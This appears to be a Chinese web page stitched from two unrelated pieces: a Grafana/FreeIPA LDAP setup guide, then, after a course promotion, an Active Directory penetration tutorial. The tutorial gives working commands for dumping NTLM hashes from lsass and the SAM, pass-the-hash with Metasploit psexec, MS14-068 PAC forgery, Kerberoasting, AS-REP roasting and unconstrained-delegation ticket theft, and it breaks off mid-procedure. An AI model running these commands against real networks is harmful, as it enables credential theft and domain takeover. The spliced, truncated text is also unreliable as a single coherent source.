Grafana、Prometheus外加各類的Exporter目前已經成了監控領域的三劍客。
Grafana是一款多平臺、開源的分析和交互式可視化Web應用程序,配合后端數據源可以方便地進行各類圖表展示,后端數據源一般是各類時序數據庫,如InfluxDB、Prometheus、Graphite等。
Grafana自帶身份認證系統,它也可以集成外部的認證系統,如Github OAuth、Google OAuth和LDAP等。
本文的LDAP使用FreeIPA實現,FreeIPA是一個用于Linux/Unix環境的開源身份管理系統,它提供集中式的賬號管理和身份驗證,其集成389目錄服務器(一種LDAP實現)、NTP、DNS、MIT Kerberos等。
FreeIPA是紅帽公司的產品,如果操作系統是CentOS的話,可以采用YUM包安裝的方式,比較簡單,如果是其他操作系統,可以選擇使用容器的部署方式(正式環境建議使用YUM包的方式安裝,為了安裝它,專門部署CentOS系統,也是值得的)。本文采用容器的安裝方式。容器運行命令:
sudo docker run -it -d -h ipa.bigcompany.com -p 53:53/udp -p 53:53 \
-p 127.0.0.1:80:80 -p 127.0.0.1:443:443 -p 389:389 -p 636:636 -p 88:88 -p 464:464 \
-p 88:88/udp -p 464:464/udp -p 123:123/udp \
--sysctl net.ipv6.conf.lo.disable_ipv6=0 \
-v /sys/fs/cgroup:/sys/fs/cgroup:ro \
-v /home/aneirin/freeipa/ipa-data:/data:Z --name freeipa \
freeipa/freeipa-server:centos-7-4.6.8
初次運行切記去掉“-d”選項,不要讓容器在后臺運行,因為我們需要在交互式模式下完成一些重要參數的配置,如是否啟用BIND、配置服務器的FQDN、域名、Kerberos的Realm name、目錄服務和IPA的管理員密碼等。后面啟動容器可以加上“-d”選項。
服務監聽的端口:
HTTP/HTTPS:80/443
LDAP/LDAPS:389/636
Kerberos:88/464
DNS:53
NTP:123
你可以選擇是否對外暴露指定端口,比如我們正式環境使用的FreeIPA并沒有啟用DNS,53端口就不需要配置。如果正式環境使用Nginx作為前端,容器的80和443端口監聽在本地環回地址上,如不用Nginx,配置FreeIPA監聽在服務器的對外網口上。
Nginx的配置
server {
listen 192.168.1.2:443 ssl http2;
server_name ipa.bigcompany.com;
root /usr/share/nginx/html;
ssl_certificate "/etc/pki/nginx/ipa.bigcompany.com.pem";
ssl_certificate_key "/etc/pki/nginx/private/ipa.bigcompany.com-key.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 10m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
location / {
auth_basic "off";
proxy_pass https://localhost:443;
proxy_set_header Host $host;
proxy_set_header Referer https://ipa.bigcompany.com/ipa/ui;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_cookie_domain realipa.bigcompany.com ipa.bigcompany.com;
proxy_connect_timeout 150;
proxy_send_timeout 100;
proxy_read_timeout 100;
proxy_buffers 4 32k;
client_max_body_size 200M;
client_body_buffer_size 512k;
keepalive_timeout 5;
add_header Strict-Transport-Security max-age=63072000;
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
}
error_page 404 /404.html;
location=/404.html {
}
error_page 500 502 503 504 /50x.html;
location=/50x.html {
}
}
上面的操作完成后,使用IPA管理員賬號登錄FreeIPA的Web UI,添加用戶賬號,每個賬號歸屬在創建好的組中,比如公司有開發和運維兩個團隊需要訪問Grafana,創建兩個組“developer”和“infra”(下圖中其他的組是FreeIPA自帶的):
用戶組
之所以創建不同的組是為了配置Grafana根據組來做權限的下發,具體見下。
Grafana安裝使用容器的方式,管理起來會方便很多,“docker-compose.yml”文件:
version: "3"
services:
grafana:
image: grafana/grafana:latest
container_name: monitoring_grafana
restart: unless-stopped
user: "2302"
ports:
- 3000:3000
links:
- prometheus:prometheus
volumes:
- ./grafana/data:/var/lib/grafana
- ./grafana/config/ldap.toml:/etc/grafana/ldap.toml
environment:
- GF_SECURITY_ADMIN_PASSWORD=admin
- GF_USERS_ALLOW_SIGN_UP=false
- GF_SERVER_DOMAIN=bigcompany.com
- GF_AUTH_LDAP_ENABLED=true
- GF_AUTH_LDAP_ALLOW_SIGN_UP=true
“docker-compose.yml”文件注意一點,因為目錄“./grafana/data”屬主的用戶ID為2302,所以鍵“user”的值配置為2302,讀者配置時,根據實際情況做調整即可。
ldap.toml
[[servers]]
# Ldap server host (specify multiple hosts space separated)
host="192.168.1.2"
# Default port is 389 or 636 if use_ssl=true
port=389
# Set to true if LDAP server should use an encrypted TLS connection (either with STARTTLS or LDAPS)
use_ssl=false
# If set to true, use LDAP with STARTTLS instead of LDAPS
start_tls=false
# set to true if you want to skip SSL cert validation
ssl_skip_verify=false
# set to the path to your root CA certificate or leave unset to use system defaults
# root_ca_cert="/path/to/certificate.crt"
# Authentication against LDAP servers requiring client certificates
# client_cert="/path/to/client.crt"
# client_key="/path/to/client.key"
# Search user bind dn
bind_dn="uid=%s,cn=users,cn=compat,dc=bigcompany,dc=com"
# Search user bind password
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
#bind_password='grafana'
# User search filter, for example "(cn=%s)" or "(sAMAccountName=%s)" or "(uid=%s)"
# Allow login from email or username, example "(|(sAMAccountName=%s)(userPrincipalName=%s))"
search_filter="(uid=%s)"
# An array of base dns to search through
search_base_dns=["cn=users,cn=compat,dc=bigcompany,dc=com"]
group_search_filter="(&(objectClass=posixGroup)(memberUid=%s))"
group_search_filter_user_attribute="uid"
group_search_base_dns=["cn=groups,cn=compat,dc=bigcompany,dc=com"]
[[servers.group_mappings]]
group_dn="cn=infra,cn=groups,cn=compat,dc=bigcompany,dc=com"
org_role="Admin"
grafana_admin=true # Available in Grafana v5.3 and above
[[servers.group_mappings]]
group_dn="*"
org_role="Viewer"
# Specify names of the LDAP attributes your LDAP uses
[servers.attributes]
username="uid"
surname="sn"
email="email"
注意:
[aneirin@ipa ~]$ldapsearch -x -h 192.168.1.2 -b dc=bigcompany,dc=com "(&(objectClass=posixGroup)(memberUid=liudehua))"
# extended LDIF
#
# LDAPv3
# base <dc=bigcompany,dc=com> with scope subtree
# filter: (&(objectClass=posixGroup)(memberUid=liudehua))
# requesting: ALL
#
# infra, groups, compat, bigcompany.com
dn: cn=infra,cn=groups,cn=compat,dc=bigcompany,dc=com
objectClass: posixGroup
objectClass: ipaOverrideTarget
objectClass: ipaexternalgroup
objectClass: top
gidNumber: 235600003
memberUid: liudehua
ipaAnchorUUID:: OklQQTp5b3V4dWVwYWkub3JnOjdmYTA2YzdlLWNiNTUtMTFlYi04NWQ4LTAyND
JhYzExMDAwMg==cn: infra
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
總結
很多服務都支持集成LDAP的認證,目前開源的提供LDAP服務的軟件,FreeIPA無疑是其中的佼佼者,安裝簡便,集成的服務豐富,不過正式環境一定注意數據的高可用性,必要的話,可以部署主從來提高穩定性。
希望這篇文章能幫到正在努力的你,歡迎關注、評論!
學習網絡安全的小伙伴可以私信問我拿奇安信老師最新的課件資料筆記+大廠面試課題~
網絡安全課件資料+筆記+面試課題無償贈送
如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了
其中若hash加密方式是 rc4 ,那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos協議均存在PTH:
NTLM自然不用多說
kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH影響
那前提就是要獲取hash值了
如果系統安裝KB2871997補丁或者系統版本大于等于window server 2012時(服務器版本),大于等于win8.1(家庭版本)時(自帶補丁),默認在lsass.exe這個進程中不會再將可逆的密文緩存在自己的進程內存中,所以我們默認是沒辦法通過讀取這個進程然后逆向該密文來獲取明文密碼
雖然可以通過修改注冊表來使LSASS強制存儲明文密碼
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
但是這種方式要求系統重啟或者用戶重新登錄,在實戰中操作起來成功率還是比較低的。
同時比較重要的一點是增加了Protected Users組,所屬用戶會被強制要求使用Kerberos認證,可以避免PTH攻擊,以及用戶注銷后刪除憑證(明文密碼、LM/NTLM HASH、Kerberos的TGT票據等)
以及:Restricted Admin RDP模式的遠程桌面客戶端支持
自window vista之后沒辦法使用RID非500的本地管理員用戶來進行Pass The Hash, 但是如果是域用戶且該域用戶屬于本地Administrators組的成員也可以進行pass the hash。
很多人把這個原因歸結于KB2871997補丁,實際上不然,這個事情的成因實際是UAC在搗亂。UAC是window Vista的新安全組件,具體是個啥這里也不細說了。
RID為500的賬戶和屬于本地administrators組的域用戶在通過網絡遠程鏈接時,默認就是高權限令牌。
而非RID500的本地賬戶則為低權限令牌,若想提升權限則需通過交互方式登錄到要通過遠程協助或遠程桌面管理的計算機走UAC提權。
關于這個成因的一些系統配置選項:
這個項默認允許內置管理員賬戶(RID500賬戶)在所有應用下都以高權限令牌運行。這也是RID500賬戶能PTH的原因
以及此注冊表項,可以關閉UAC的遠程限制,即遠程連接時UAC會失效,這樣的話只要是administrators組的用戶都能PTH辣。
其中該值為0則代表開啟UAC的遠程限制,設置該值為1時
meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提權 samdump::hashes dump哈希
或者
meterpreter>msv/kerberos/widgst
2.使用meterpreter自帶的hash獲取模塊
meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump (推薦使用這個)
3.向目標機上傳mimikatz遠程調用mimikatz.exe dump出hash,mimikatz需要免殺處理
意思就是既然我們獲取到了shell,我們直接向目標機上傳一個mimikatz然后在shell里使用它就行了. 使用方法為cmd窗口打開mimikatz.exe,進入mimikatz終端,然后輸入mimikatz指令即可
4.上傳procdump到目標機,獲取到lsass.dmp文件后將其傳回本地又mimikatz來dump哈希
procdump.exe是微軟自帶的程序,所以不會觸發殺毒。所以可以通過它傳回lsass.dmp本地提取hash
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取到lsass.dmp
然后將其傳回本地
通過mimikatz.exe分別執行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
Procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:https://github.com/gentilkiwi/mimikatz/releases
5.使用cobalt strike 獲取hash
beacon>hashdump
beacon>mimikatz mimikatz指令
6.利用sam表
mimikatz在線讀sam表中的hash
privilege::debug
token::elevate
lsadump::sam
將sam表下載到本地由mimikatz分析
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在遠端shell使用以上命令導出SYSTEM 和 SAM文件,并將其待會本地,由mimikatz分析
mimikatz運行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : liukaifeng01
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
hash 傳遞攻擊 PTH (Pass the Hash)
1.msf里使用psexec模塊
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec //以root啟動msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot=> 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost=> 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport=> 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost=> 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser=> Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5 //一般選擇NTLM HASH
SMBPass=> 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run
2.使用mimikatz
我們在目標機里放置mimikatz.exe 然后執行以下命令
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc //自行修改
之后便會彈出一個cmd窗口,在這個窗口里鏈接機器即可
net use \192.168.222.131\c$
在cobalt strike里找到域控,然后使用psexec模塊,選擇一個本地hash即可。
這個洞的危害很大,可以讓任意域用戶提權到域管。
適用版本: server 2000以上
補丁: kb3011780
PAC是kerberos協議里用來解決用戶權限功能所設計出的東西。
在kerberos協議里面,一個用戶用自己的hash拿到了TGT,接著憑借著TGT拿到了TGS,接著用TGS去訪問服務。看似只要hash正確,用戶就能到處訪問服務,但是所有服務都可以給這個用戶所訪問嗎?肯定是不行的,所以微軟在kerberos為了實現用戶權限分級,采用了PAC。
PAC被設計為存在于TGT里面。完整的kerberos權限驗證流程如下。
1。用戶憑借自己的hash加密時間戳并發送明文用戶名到KDC,KDC認證用戶成功后返回被krbtgt用戶hash加密的TGT(內有ticekt包含著PAC),以及用戶自身hash加密的login session key
2.用戶憑借TGT票據向KDC發起指定服務的TGS_REQ。KDC用krbtgt hash解密,若解密成功則直接返回服務hash加密的TGS(這里并沒考慮用戶的權限,直接返回了TGS)
3.用戶用TGS向服務發起請求,服務用自己的hash解密TGS后獲得PAC,拿著PAC向KDC詢問該用戶是否有權限訪問。KDC拿到PAC后再次解密,得到了PAC里的 用戶的sid,以及所在的組,再判斷用戶是否有訪問服務的權限(有些服務不會驗證KDC,這樣就會導致白銀票據攻擊)
PAC自身的結構
PAC在Ticket中的結構
又這個圖可以知道,PAC只不過是ticket里Authorization DATA的一個分支。
而Authorization data的結構是這樣的
AuthorizationData ::=SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING }
ad-type中就有這么一個類型 AD-IF-RELEVANT 對應數字1,由上上圖可知這是PAC的外殼。
若類型為 AD-IF-RELEVAN ,那么ad-data也是一個 AuthorizationData類型的結構體,也有ad-type 和ad-data.那么這個外殼ad-data的ad-type就是次外殼AD-WIN2K-PAC 了,與 AD-WIN2K-PAC 這個ad-type對應的ad-data就是一段連續空間。這段空間包含一個頭部PACTYPE以及若干個PAC_INFO_BUFFER 。
PACTYPE包含的是 cBuffers,版本以及緩沖區 。
PAC_INFO_BUFFER是key-value型的。PAC_INFO_BUFFER的key有很多
0x00000002 | 憑證信息。PAC結構不應包含多個此類緩沖區。第二或后續憑證信息緩沖區在接收時必須被忽略。 |
0x00000006 | 服務器校驗和。PAC結構必須包含一個這種類型的緩沖區。其他登錄服務器校驗和緩沖區必須被忽略。 |
0x00000007 | KDC(特權服務器)校驗和(第2.8節)。PAC結構必須包含一個這種類型的緩沖區。附加的KDC校驗和緩沖區必須被忽略。 |
0x0000000A | 客戶名稱和票證信息。PAC結構必須包含一個這種類型的緩沖區。附加的客戶和票據信息緩沖區必須被忽略。 |
0x0000000B | 受約束的委派信息。PAC結構必須包含一個S4U2proxy請求的此類緩沖區,否則不包含。附加的受約束的委托信息緩沖區必須被忽略。 |
0x0000000C | 用戶主體名稱(UPN)和域名系統(DNS)信息。PAC結構不應包含多個這種類型的緩沖區。接收時必須忽略第二個或后續的UPN和DNS信息緩沖區。 |
0x0000000D | 客戶索取信息。PAC結構不應包含多個這種類型的緩沖區。附加的客戶要求信息緩沖區必須被忽略。 |
0x0000000E | 設備信息。PAC結構不應包含多個這種類型的緩沖區。附加的設備信息緩沖區必須被忽略。 |
0x0000000F | 設備聲明信息。PAC結構不應包含多個這種類型的緩沖區。附加的設備聲明信息緩沖區必須被忽略。 |
其中比較重要的是1,6和7
0x00000001 KERBVALIDATIONINFO 這個結構用于存儲用戶的身份信息.它是一個結構體,這個結構體是這樣的(待會我們偽造PAC的時候主要就是偽造此處額 UserId 以及 PGROUP_MEMBERSHIP GroupIds )服務器解包PAC后提取用戶的sid以及groupid,然后就把當前發包過來的用戶權限當成sid,groupid的權限處理。
typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; //用戶的sid
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用戶所在的組,如果我們可以篡改的這個的話,添加一個500(域管組),那用戶就是域管了。在ms14068 PAC簽名被繞過,用戶可以自己制作PAC的情況底下,pykek就是靠向這個地方寫進域管組,成為使得改用戶變成域管
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
0x00000006和0x00000007 6是服務器校驗和,由server密碼加密。7是KDC校驗和,又KDC密碼加密。存在的目的就是防止PAC被篡改。
這個漏洞的產生主要是微軟犯下了三個錯誤:
1.對校驗和的算法實現不夠細致,導致在校驗和生成時可以不用管server和KDC的hash直接生成,而且生成出來的校驗和還是合法的
2.PAC可以不用放在TGT中,即使是這樣,KDC也能照常解析出TGT外的PAC
3.下面再說
那么這個漏洞大致的攻擊原理是什么呢。
首先,我們在as_request的時候,把include-PAC標志設置為false,那么as_rep就不會在TGT中返回PAC了。然后這個時候我們自己偽造一個pac,在TGS_REQ時發過去就行了。偽造的pac修改USER SID&GROUP SID(在PAC的 0x00000001 KERBVALIDATIONINFO 結構)可以把我們的用戶權限改到很高(域管),從而達到提權到域管的能力。
那么偽造PAC,我們就遇到了兩個問題:
1.pac里有校驗和,防止自己被篡改,我們得有server和KDC密碼才能使校驗和合法。
2.pac按理說應該在TGT里,但是TGT是被kbrtgt hash加密的,我們無法獲取kbrtgt hash繼而無法修改TGT內容,繼而不能修改PAC。
來說說如何繞過PAC校驗和問題。
我們剛剛說過,0x00000006和0x00000007 這兩個結構的存在是為了防止PAC被篡改,這個校驗和算法采用的是個叫checksum算法然后把kdc hash和服務hash當作key對PAC加密產生的值,從而防止PAC被篡改。但是checksum算法是有很多種的,md5也是checksum的分支之一,修改PAC后,我們只需設置加密算法為MD5并用MD5算法對0x00000001 KERBVALIDATIONINFO進行加密,將生成的值放入兩個檢驗和即可,KDC拿到0x00000001 KERBVALIDATIONINFO,并且通過解析數據包獲取當前加密算法為MD5,然后對其進行MD5加密,若加密結果與校驗和一致,則認為PAC未被修改
再來說說如何繞過krbtgt hash加密TGT的問題。
因為我們在AS_REQ時設置include-PAC為false,TGT里就不會包含PAC了。那么我們在TGS_REQ時如何把PAC傳遞給KDC?只需要把PAC放入req-body即可。
這樣KDC依舊會正常解析這個TGS_REQ包
注意TGS_REQ里的include-pac依舊是false。
然后KDC接收到PAC后會先解密TGT拿到authenticator里的key對PAC進行解密(TGS_REQ時加密PAC用的key是隨機生成的,這個key會放在authenticator里),然后驗證一下PAC的簽名,若成功然后把解密得到的PAC采用server key和KDC key重新生成校驗和,拼接成一個新的TGT返回給客戶端。
上面這一段就是微軟犯下的第三個錯誤,很不可思議,居然莫名其妙的返回了一個包含了PAC的TGT回來。總結來說就是構造了一個畸形的TGS_REQ,從TGS_RES得到了一個包含偽造PAC的TGT。
原理就是上面這些,然后我們用包含偽造PAC的TGT到處訪問服務即可。
1.工具kekeo https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718
具體方法為,在kekeo里先執行 kerberos::purge清空票據
然后再執行 exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt
即可。
然后就dir \域控\c$ 試試,如果可以就說明提權成功了(不是每次都能成功的)
2.golenpac https://github.com/maaaaz/impacket-examples-windows/blob/master/goldenPac.exe
這個工具好用,
執行類似上述命令,就能返回一個域控的 system權限的cmd shell回來,感覺蠻好用
另外在最后指定域控機器時,可以指定域控以外的機器并獲取他們的本地system權限用戶.
但返回的似乎不是域控?
Kerberoast攻擊原理: 攻擊者從 TGS-REP 中提取加密的服務票證。由于服務票證是用鏈接到請求 SPN 的帳戶的哈希加密的,所以攻擊者可以離線破解這個加密塊,恢復帳戶的明文密碼
如何得到域中的所有SPN?
1.setspn
很簡單,只需執行
setspn -q */*
即可
2.kerberoast工具集的GetUserSpns powershell腳本
如何得到hash?
有如下方法
1.Rubeus.exe
這個工具github上就有,但是clone下來后需要自己編譯成exe.
然后執行 Rubeus.exe kerberoast指令即可
2.mimikatz
mimikatz真的神器。
通過命令 kerberos::ask /target:你所指定的SPN,
即可通過認證的方式得到一個ST。
然后我們在kerberos::list里可以看到我們想要的ST
3.powershell
越來越發現powershell在域滲透中的重要性了
輸入以下指令,即可完成HASH獲取
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"
然后mimikatz導出即可
獲得了ST票據,但怎么導出?
1.mimikatz
導出所有票據
可以發現生成了kirbi文件。這就是我們所需要的hash了
2.Empire Powershell 框架
github:https://github.com/EmpireProject/Empire
我們通過這個框架可以導出hashcat格式的hash.
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
如何破解HASH?
1.HASHCAT
這個工具需要讓hash格式為hashcat模式才能進行破解。kribi文件不能放入hashcat進行破解.
hashcat -m 13110 pass.txt hash.txt
2.kerberoast中的tgsrepcrack.py
支持kribi文件破解
python3 tgsrepcrack.py pass.txt xxx.kribi
How to use Kerberoast
既然我們都把ST的加密hash都破解了,那么我們就可以隨便改ST中的票據內容了..\ 這里使用的是kerberoast工具集里的kerberoast.py
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 將票據權限改為administrator
kerberos::ptt PENTESTLAB.kirbi #將票據注入到內存
AS_REP Roast
較Kerberoast來說,比較雞肋。
它的原理是在不開啟kerberos預身份驗證的前提下,獲得其他用戶的AS_RES,并破解加密session key 的 client hash。
1.Rubeus
Rubeus.exe asreproast
然后就會搜索域中不需要kerberos預驗證的用戶,并獲得ASREP。
2.Empire框架與 ASREPRoast.ps1
使用Empire框架下的powerview.ps1查找域中設置了 “不需要kerberos預身份驗證” 的用戶
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
然后用 ASREPRoast.ps1 :https://github.com/HarmJ0y/ASREPRoast 獲取指定用戶的AS-REPhash
Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt
就會生成一個hash數據文件了
將生成的HASH保存起來,并在下圖處加入
然后丟給hashcat 跑
hashcat -m 18200 hash.txt pass.txt
注意這里的pass.txt是自己的明文字典…之前我還一直以為是爆破出來的結果.
原來是一個一個的用明文字典去爆破。
域委派是一種域內主機的行為,使某個服務可以以訪問的用戶的身份去訪問另外一個服務。
為什么需要域委派呢,比如現在有web服務器和文件服務器,當用戶A訪問web服務器去請求某個資源時,web服務器上本身并沒有該資源,所以web服務器就會從文件服務器上調用這個資源,其中發生的過程若以域委派的形式進行,那么就是:
用戶A訪問web服務器,服務器再以用戶A的身份去訪問文件服務器。
發生域委派的服務一般為機器賬戶和服務賬戶。
域委派分為三種:非約束性委派,約束性委派,基于資源的約束性委派
非約束性委派的原理是:用戶想訪問服務A,于是向KDC提交認證,KDC發現A是非約束性委派,于是會把TGT放在ST中一并給用戶。然后用戶用這個ST去訪問服務A,服務A就相當于獲得了用戶的TGT,把TGT放入lsass進程,然后就可以拿著用戶的TGT以用戶的身份去訪問所有用戶權限能夠訪問的服務了。
非約束性委派的啟用:
為某賬戶啟用 信任此計算機來委派任何服務 即開啟非約束性委派。
開啟后在該用戶的 ACL屬性會多出一個 flag : WORKSTATION_TRUSTED_FOR_DELEGATION (圖截不完,反正這個flag就在箭頭所指處的后面)
非約束委派的設置需要SeEnableDelegation 特權,該特權通常僅授予域管理員
這里說個題外話,域控主機默認是非約束性委派
非約束性委派是很不安全的(因為控制了開啟非約束性委派的機器,就相當于獲得了上面的所有其他用戶的TGT),所以更安全的約束性委派誕生了。
約束性委派多了兩個委派協議,S4U2SELF S4U2PROXY,并且限制了被設置委派的服務的訪問范圍:僅能被委派到被指定的服務。
約束性委派的大致流程:
用戶訪問開啟約束性委派的服務A
(情況一:無S4U2SELF參與)首先需要經過KDC認證,KDC發現服務A開啟了約束性委派,于是在TGS_RES返回給用戶ST1(可轉發ST),用戶拿著ST1訪問服務A,服務A先與KDC進行身份驗證獲得一個有效TGT,然后拿著ST1經過S4U2PROXY協議向KDC發起TGS_REQ,KDC返回ST2(用戶身份的ST),然后服務A拿著ST2訪問指定服務。
(情況二:有S4U2SELF參與)用戶通過其他方式(如NTLM認證,表單認證等)獲取了服務A的信任,但是此時服務A并沒有來自用戶的ST1,按情況一中的流程,服務A就不能完成委派。所以這個時候服務A會以自己的身份向KDC發起申請獲取一個可轉發TGT(獲取KDC信任),然后用這個TGT發起TGS_REQ獲得指定用戶的ST1,既然獲取了ST1,就繼續情況一中的流程即可了。
也就是說S4U2SELF是用戶通過非kerberos協議完成認證的情況下,自動向KDC獲取ST1的一個協議。
而S4U2PROXY則是將ST1發給KDC,使其變現為成自己可用的 ST2 的一個協議。
啟用方法:
其中被添加的服務則是允許被委派到的服務
若啟用的是 僅使用kerberos,那么useraccountcontrol屬性僅有 workstation_trust_account.
若啟用任何身份驗證協議,就會有 TrustedToAuthenticationForDelegation
Windows Server 2012中引入了基于資源的約束性委派。只能在運行Windows Server 2012或Windows Server 2012 R2及以上的域控制器上配置
基于資源的約束性委派,不需要域管理員前來設置,而把設置委派的權限交給了自身。
其實就是可以擺脫域控來主動設置自己可以被哪些賬戶委派訪問。
非約束性委派有巨大的安全問題,上面我們說過,非約束性委派的實質就是把用戶的TGT存入lassa進程,從而模擬用戶身份進行各種委派訪問,所以我們只需控制非約束性委派攻擊的機器,然后dump出所有的票據,就相當于獲得了所有經過該服務進行約束性委派的用戶的身份了。
這里提一下怎么創建有SPN的服務賬戶。
只需再域控里執行 setspn -U -A spn_type username 即可
其中spn_type即SPN的格式:MSSQLSvc/:[ | ]
這里我們隨便輸一個,比如 sb/caonima 這種都行.
這里采用powersploit下的powerview.ps1
根據我網上很多搜索結果,查找非約束委派服務賬戶只需調用
Get-NetUser -Unconstrained -Domain de1ay.com
這個命令即可,但是我下載下來的powerview里的get-netuser里卻沒有unconstrained參數,很煩。所以用一個比較原始的方法來判別(適合在用戶少的情況下)
直接調用 Get-NetUser -SPN 找到所有服務賬戶或者Get-domaincomputer找到所有機器賬戶,然后判斷其useraccountcontrl里有沒有trusted_for_delegation,若有,則說明開啟了非約束性委派
查詢非約束委派機器賬戶則用
Get-domaincomputer -unconstrained -domain const.com
僅能基于機器賬戶
如果我們獲得了一個非約束性委派賬戶,我們就可以通過收集內存中的tgt達到任意用戶訪問的目的。
在被控制的非約束性委派機器上使用mimikatz。
privilege::debug提權
sekurlsa::tickets 查看本機所有票據
通過以上命令獲取票據,如果管理員訪問了本機的一些服務,那么它的TGT就會被截獲放入內存。
我們模擬管理員調用非約束性委派機的smb服務
我們回到非約束委派機,查看票據
tgt被截獲,我們用 sekurlas::tickets /export 把票據導出來
然后mimikatz里使用
kerberos::ptt 票據文件名 將票據注入內存
訪問域控c$
成功
純非約束性委派攻擊很雞肋,因為必須要其他用戶通過你進行委派訪問。
但是 :利用Windows打印系統遠程協議(MS-RPRN)中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何運行了Spooler服務的計算機以通過Kerberos或NTLM對攻擊者選擇的目標進行身份驗證。配合非約束性委派攻擊,簡直爆炸,可以主動拿到其他用戶的TGT。-
而且splooer服務是默認運行的。(圖源WIN7)
使其他主機強行與自己發生身份驗證的腳本:需要自己編譯一下https://github.com/leechristensen/SpoolSample.git
在此之前需要開啟監聽來自其他主機的TGT,這里用的是rubeus
Rubeus.exe monitor /interval:1 /filteruser:xx
然后使用SpoolSample.exe XX win7,讓指定機器訪問WIN7進行身份驗證
然后獲得TGT,下班。
約束性委派的大致攻擊流程是: (利用S4U2SELF=>)如果我們獲得了約束性委派機的NTLM hash或者明文密碼,我們就可以以此來向KDC發送一個TGT申請,獲得一個可轉發的TGT。然后用這個可轉發的TGT調用S4U2SELF協議,獲得一個針對自己的ST1票據(其中ST1票據中的請求用戶可以任意偽造).然后用這個ST1票據去向KDC請求ST2,然后用ST2去訪問服務,此時我們訪問的身份就是我們任意偽造的身份了.
重點是只要獲得了可轉發TGT,約束性委派機就可以任意偽造其他用戶的ST1票據請求,太可怕了。
這個攻擊的最大前提是我們得獲得約束性委派賬戶的NTLM HASH或者明文密碼,然后我們才能成功的得到可轉發TGT,然后才能得到接下來的一切。
首先配置好約束性委派賬戶
注意選用 使用任何身份驗證協議
我們先信息搜集:看哪些用戶是開啟約束性委派的。一手powerview安排上
箭頭指出的地方就是可以被委派訪問的服務
我們用kekeo來實現攻擊.
